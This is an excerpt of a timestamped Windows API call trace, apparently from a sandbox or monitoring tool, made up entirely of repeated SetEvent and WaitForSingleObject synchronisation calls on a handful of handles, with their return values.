	[0082.094] SetEvent (hEvent=0x78) returned 1
	[0082.094] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.120] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.140] SetEvent (hEvent=0x6c) returned 1
	[0082.140] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.146] SetEvent (hEvent=0x6c) returned 1
	[0082.146] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.146] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.149] SetEvent (hEvent=0x6c) returned 1
	[0082.149] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.150] SetEvent (hEvent=0x80) returned 1
	[0082.150] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.192] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.212] SetEvent (hEvent=0x6c) returned 1
	[0082.212] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.217] SetEvent (hEvent=0x6c) returned 1
	[0082.217] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.217] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.220] SetEvent (hEvent=0x6c) returned 1
	[0082.220] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.221] SetEvent (hEvent=0x78) returned 1
	[0082.221] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.247] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.265] SetEvent (hEvent=0x6c) returned 1
	[0082.265] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.270] SetEvent (hEvent=0x6c) returned 1
	[0082.270] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.271] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.274] SetEvent (hEvent=0x6c) returned 1
	[0082.274] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.274] SetEvent (hEvent=0x80) returned 1
	[0082.274] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.498] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.499] SetEvent (hEvent=0x80) returned 1
	[0082.499] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.499] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.161] SetEvent (hEvent=0x78) returned 1
	[0084.162] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.162] SetEvent (hEvent=0x78) returned 1
	[0084.162] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.173] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.191] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.391] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.397] SetEvent (hEvent=0x78) returned 1
	[0084.397] SetEvent (hEvent=0x80) returned 1
	[0084.397] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0084.431] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.431] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0084.432] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.432] SetEvent (hEvent=0x78) returned 1
	[0084.432] SetEvent (hEvent=0x80) returned 1
	[0084.432] SetEvent (hEvent=0x6c) returned 1
	[0084.432] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.433] SetEvent (hEvent=0xa8) returned 1
	[0084.433] SetEvent (hEvent=0x6c) returned 1
	[0084.433] SetEvent (hEvent=0xb4) returned 1
	[0084.433] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.438] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.449] SetEvent (hEvent=0xb4) returned 1
	[0084.449] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.450] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.469] SetEvent (hEvent=0xb4) returned 1
	[0084.469] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.470] SetEvent (hEvent=0x6c) returned 1
	[0084.470] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.532] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.549] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.561] SetEvent (hEvent=0xb4) returned 1
	[0084.561] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.561] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.564] SetEvent (hEvent=0xb4) returned 1
	[0084.564] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.565] SetEvent (hEvent=0x80) returned 1
	[0084.565] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.615] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.663] SetEvent (hEvent=0x80) returned 1
	[0084.663] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.663] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.819] SetEvent (hEvent=0x6c) returned 1
	[0084.819] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.819] SetEvent (hEvent=0x6c) returned 1
	[0084.819] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.849] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.868] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.893] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0084.926] SetEvent (hEvent=0x6c) returned 1
	[0084.926] SetEvent (hEvent=0x78) returned 1
	[0084.926] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0085.029] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0085.029] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0085.138] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0085.138] SetEvent (hEvent=0x6c) returned 1
	[0085.138] SetEvent (hEvent=0x78) returned 1
	[0085.138] SetEvent (hEvent=0x80) returned 1
	[0085.138] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0085.138] SetEvent (hEvent=0xa8) returned 1
	[0085.138] SetEvent (hEvent=0x80) returned 1
	[0085.138] SetEvent (hEvent=0xb4) returned 1
	[0085.138] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0085.182] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0085.500] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0085.739] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0086.028] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0086.264] SetEvent (hEvent=0xb4) returned 1
	[0086.264] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0086.264] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0086.284] SetEvent (hEvent=0xb4) returned 1
	[0086.284] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0086.285] SetEvent (hEvent=0x80) returned 1
	[0086.285] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0086.574] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0086.579] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0087.629] SetEvent (hEvent=0xb4) returned 1
	[0087.629] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0087.629] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0088.639] SetEvent (hEvent=0xb4) returned 1
	[0088.639] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0088.696] SetEvent (hEvent=0x80) returned 1
	[0088.696] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0089.129] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0089.129] SetEvent (hEvent=0x80) returned 1
	[0089.129] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0089.130] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0091.541] SetEvent (hEvent=0x80) returned 1
	[0091.541] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0091.542] SetEvent (hEvent=0x80) returned 1
	[0091.542] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0092.196] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0092.198] SetEvent (hEvent=0x80) returned 1
	[0092.198] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0092.198] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0092.818] SetEvent (hEvent=0x80) returned 1
	[0092.818] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0092.818] SetEvent (hEvent=0x80) returned 1
	[0092.818] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0093.542] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0093.546] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0094.147] SetEvent (hEvent=0xb4) returned 1
	[0094.147] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0094.147] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0094.802] SetEvent (hEvent=0xb4) returned 1
	[0094.802] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0094.803] SetEvent (hEvent=0x80) returned 1
	[0094.803] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0095.141] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0095.147] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0095.460] SetEvent (hEvent=0xb4) returned 1
	[0095.460] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0095.460] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0096.141] SetEvent (hEvent=0xb4) returned 1
	[0096.141] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0096.144] SetEvent (hEvent=0x80) returned 1
	[0096.145] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0096.923] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0096.924] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0097.441] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0097.552] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0097.594] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.059] SetEvent (hEvent=0x6c) returned 1
	[0098.060] SetEvent (hEvent=0x80) returned 1
	[0098.060] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0098.061] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0098.062] SetEvent (hEvent=0x6c) returned 1
	[0098.062] SetEvent (hEvent=0x80) returned 1
	[0098.062] SetEvent (hEvent=0x78) returned 1
	[0098.062] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.063] SetEvent (hEvent=0x78) returned 1
	[0098.063] SetEvent (hEvent=0xb4) returned 1
	[0098.063] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.064] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.913] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.991] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.044] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.189] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.459] SetEvent (hEvent=0x78) returned 1
	[0099.461] SetEvent (hEvent=0x80) returned 1
	[0099.461] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0099.462] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.462] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0099.463] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.463] SetEvent (hEvent=0x78) returned 1
	[0099.463] SetEvent (hEvent=0x80) returned 1
	[0099.463] SetEvent (hEvent=0x6c) returned 1
	[0099.463] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0099.465] SetEvent (hEvent=0xa8) returned 1
	[0099.465] SetEvent (hEvent=0x6c) returned 1
	[0099.465] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0100.476] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0100.477] SetEvent (hEvent=0x6c) returned 1
	[0100.477] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0100.487] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.393] SetEvent (hEvent=0x78) returned 1
	[0101.393] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.393] SetEvent (hEvent=0x78) returned 1
	[0101.393] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.857] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.866] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0101.888] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0102.578] SetEvent (hEvent=0x80) returned 1
	[0102.579] SetEvent (hEvent=0x78) returned 1
	[0102.579] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0102.580] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0102.580] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0102.582] SetEvent (hEvent=0x80) returned 1
	[0102.582] SetEvent (hEvent=0x78) returned 1
	[0102.582] SetEvent (hEvent=0xb4) returned 1
	[0102.582] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0102.583] SetEvent (hEvent=0xb4) returned 1
	[0102.583] SetEvent (hEvent=0x6c) returned 1
	[0102.583] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0102.583] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0103.184] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0103.367] SetEvent (hEvent=0xb4) returned 1
	[0103.368] SetEvent (hEvent=0x78) returned 1
	[0103.368] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0103.369] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0103.369] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0103.369] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0103.370] SetEvent (hEvent=0xb4) returned 1
	[0103.370] SetEvent (hEvent=0x78) returned 1
	[0103.370] SetEvent (hEvent=0x80) returned 1
	[0103.370] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0103.371] SetEvent (hEvent=0x80) returned 1
	[0103.371] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0104.231] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0104.232] SetEvent (hEvent=0x80) returned 1
	[0104.232] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0104.233] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0105.550] SetEvent (hEvent=0x78) returned 1
	[0105.550] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0105.550] SetEvent (hEvent=0x78) returned 1
	[0105.551] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0105.959] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0105.960] SetEvent (hEvent=0x78) returned 1
	[0105.960] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0105.960] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0106.987] SetEvent (hEvent=0x80) returned 1
	[0106.987] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0106.988] SetEvent (hEvent=0x80) returned 1
	[0106.988] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0107.457] SetEvent (hEvent=0x80) returned 1
	[0107.457] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0107.458] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0107.905] SetEvent (hEvent=0x78) returned 1
	[0107.905] SetEvent (hEvent=0x6c) returned 1
	[0107.905] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0107.906] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.018] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.301] SetEvent (hEvent=0x80) returned 1
	[0108.302] SetEvent (hEvent=0x6c) returned 1
	[0108.302] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0108.304] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.304] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0108.304] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.304] SetEvent (hEvent=0x80) returned 1
	[0108.304] SetEvent (hEvent=0x6c) returned 1
	[0108.304] SetEvent (hEvent=0xb4) returned 1
	[0108.304] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.304] SetEvent (hEvent=0xb4) returned 1
	[0108.304] SetEvent (hEvent=0x78) returned 1
	[0108.304] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.309] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.683] SetEvent (hEvent=0xb4) returned 1
	[0108.683] SetEvent (hEvent=0x6c) returned 1
	[0108.683] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0108.684] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.684] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0108.684] SetEvent (hEvent=0xb4) returned 1
	[0108.684] SetEvent (hEvent=0x6c) returned 1
	[0108.684] SetEvent (hEvent=0x80) returned 1
	[0108.684] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.685] SetEvent (hEvent=0x80) returned 1
	[0108.685] SetEvent (hEvent=0x78) returned 1
	[0108.685] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.685] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0108.998] SetEvent (hEvent=0x80) returned 1
	[0108.998] SetEvent (hEvent=0x6c) returned 1
	[0108.998] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0109.001] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.001] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0109.001] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.001] SetEvent (hEvent=0x80) returned 1
	[0109.001] SetEvent (hEvent=0x6c) returned 1
	[0109.001] SetEvent (hEvent=0xb4) returned 1
	[0109.001] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.001] SetEvent (hEvent=0xb4) returned 1
	[0109.001] SetEvent (hEvent=0x78) returned 1
	[0109.002] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.003] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.220] SetEvent (hEvent=0xb4) returned 1
	[0109.220] SetEvent (hEvent=0x6c) returned 1
	[0109.220] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0109.228] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.228] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0109.228] SetEvent (hEvent=0xb4) returned 1
	[0109.228] SetEvent (hEvent=0x6c) returned 1
	[0109.228] SetEvent (hEvent=0x80) returned 1
	[0109.228] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.228] SetEvent (hEvent=0x80) returned 1
	[0109.228] SetEvent (hEvent=0x78) returned 1
	[0109.228] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.230] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.460] SetEvent (hEvent=0x80) returned 1
	[0109.460] SetEvent (hEvent=0x6c) returned 1
	[0109.460] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0109.463] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.463] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0109.464] SetEvent (hEvent=0x80) returned 1
	[0109.464] SetEvent (hEvent=0x6c) returned 1
	[0109.464] SetEvent (hEvent=0xb4) returned 1
	[0109.464] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.464] SetEvent (hEvent=0xb4) returned 1
	[0109.464] SetEvent (hEvent=0x78) returned 1
	[0109.464] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.467] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.760] SetEvent (hEvent=0xb4) returned 1
	[0109.760] SetEvent (hEvent=0x6c) returned 1
	[0109.760] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0109.764] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.764] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0109.764] SetEvent (hEvent=0xb4) returned 1
	[0109.764] SetEvent (hEvent=0x6c) returned 1
	[0109.764] SetEvent (hEvent=0x80) returned 1
	[0109.765] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.765] SetEvent (hEvent=0x80) returned 1
	[0109.765] SetEvent (hEvent=0x78) returned 1
	[0109.765] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0109.768] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.014] SetEvent (hEvent=0x80) returned 1
	[0110.015] SetEvent (hEvent=0x6c) returned 1
	[0110.015] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0110.016] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.016] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0110.016] SetEvent (hEvent=0x80) returned 1
	[0110.016] SetEvent (hEvent=0x6c) returned 1
	[0110.016] SetEvent (hEvent=0xb4) returned 1
	[0110.016] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.016] SetEvent (hEvent=0xb4) returned 1
	[0110.017] SetEvent (hEvent=0x78) returned 1
	[0110.017] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.019] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.233] SetEvent (hEvent=0x78) returned 1
	[0110.233] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.234] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.510] SetEvent (hEvent=0xb4) returned 1
	[0110.510] SetEvent (hEvent=0x6c) returned 1
	[0110.510] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.511] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.696] SetEvent (hEvent=0xb4) returned 1
	[0110.696] SetEvent (hEvent=0x80) returned 1
	[0110.696] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.696] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0110.967] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0111.305] SetEvent (hEvent=0xb4) returned 1
	[0111.305] SetEvent (hEvent=0x80) returned 1
	[0111.305] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0111.312] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0111.653] SetEvent (hEvent=0xb4) returned 1
	[0111.653] SetEvent (hEvent=0x6c) returned 1
	[0111.653] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0111.654] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0111.948] SetEvent (hEvent=0xb4) returned 1
	[0111.948] SetEvent (hEvent=0x80) returned 1
	[0111.948] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0111.949] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0112.355] SetEvent (hEvent=0xb4) returned 1
	[0112.355] SetEvent (hEvent=0x6c) returned 1
	[0112.355] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0112.355] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0112.623] SetEvent (hEvent=0xb4) returned 1
	[0112.623] SetEvent (hEvent=0x80) returned 1
	[0112.623] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0112.623] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0112.859] SetEvent (hEvent=0xb4) returned 1
	[0112.859] SetEvent (hEvent=0x6c) returned 1
